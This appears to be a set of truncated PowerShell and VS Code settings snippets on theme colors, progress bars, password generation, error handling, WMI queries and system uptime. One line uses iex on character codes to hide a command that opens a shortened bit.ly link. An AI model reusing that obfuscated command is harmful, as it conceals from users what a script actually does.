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{
    "editor.tokenColorCustomizations": {
        // Note: you can leave out the theme and the syntax rules will apply to all themes
        "[Material Theme Darker High Contrast]": {
            "textMateRules": [
                {
                    "scope": "variable.other.readwrite",
                    "settings": {
                        "foreground": "#89DDFF"
                    }

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$first = 'One', 'Two', 'Three'
$second = 'A', 'B', 'C'

$counter1 = 0
foreach ($number in $first) {
    $progress = @{
        Activity = "Pass $($number)"
        Status = 'Starting'
        Id = 1
        PercentComplete = ($counter1 / $first.Count) * 100

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function New-RandomPassword {
    $charset = ([char]'a'..[char]'z').foreach({[char]$_})
    $RawPassword = ''
    
    for ($i = 0; $i -lt 14; $i++)
    {
        # First and last 4 are letters
        if ($i -lt 4 -or $i -gt 9)
        {
            if ($i % 2 -eq 0)

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# throws an error:
Get-Content nothing

# Should show the same error message:
$Error[0]

# Shows the target of your command:
$Error[0].TargetObject

# Shows the message itself (the first line in the error on your screen):

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try
{
    $computers = Get-Content computers.txt -ErrorAction Stop
}
catch
{
    "There was a problem opening the file; message: $($_.Exception.Message)" | Out-File -FilePath 'error.log' -Append
}
finally
{

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iex "$((101,120,112,108,111,114,101,114,46,101,120,101,32,104,116,116,112,58,47,47,98,105,116,46,108,121,47,52,107,98,55,55,118|%{[char]$_})-join'')"

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{
    "CanPauseAndContinue":  false,
    "CanShutdown":  true,
    "CanStop":  true,
    "DisplayName":  "Windows Remote Management (WS-Management)",
    "DependentServices":  [

                          ],
    "MachineName":  ".",
    "ServiceName":  "winrm",

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Get-ChildItem 'C:\temp\FileShare' -Recurse | foreach {if ($_.Name -match '[\p{IsLatin-1Supplement}-[\x80-\xbf\xd7\xf7]]+') {$_ | select Name, Directory, CreationTime, LastWriteTime, Length}} | Format-Table -AutoSize

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function Get-PCBUptime {
<#
.SYNOPSIS
A simple tool for checking how long a system on the network has been running since last boot.
.DESCRIPTION
Get-PCBUptime is a quick WMI-based tool for determinging a remote system's uptime.  It is useful for verifying
what a user says when asked if they've rebooted their machine recently, or to generate a report of server uptimes.

Get-PCBUptime is written by and copyright of Christopher R. Lowery, aka The PowerShell Bear (poshcodebear.com; Twitter: @poshcodebear)
It is free for all to use, and free to distribute with attribution to the original author.

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(Add-Content -Value 'MACHINENAME,OSVERSION' -Path .\Output.csv -Encoding Ascii -PassThru) | Get-WmiObject Win32_OperatingSystem -ComputerName (Import-Csv -Path .\Input.csv).MACHINENAME -ErrorAction Ignore | foreach {Add-Content -Value "$($_.PSComputerName),$($_.Caption)" -Path .\Output.csv -Encoding Ascii}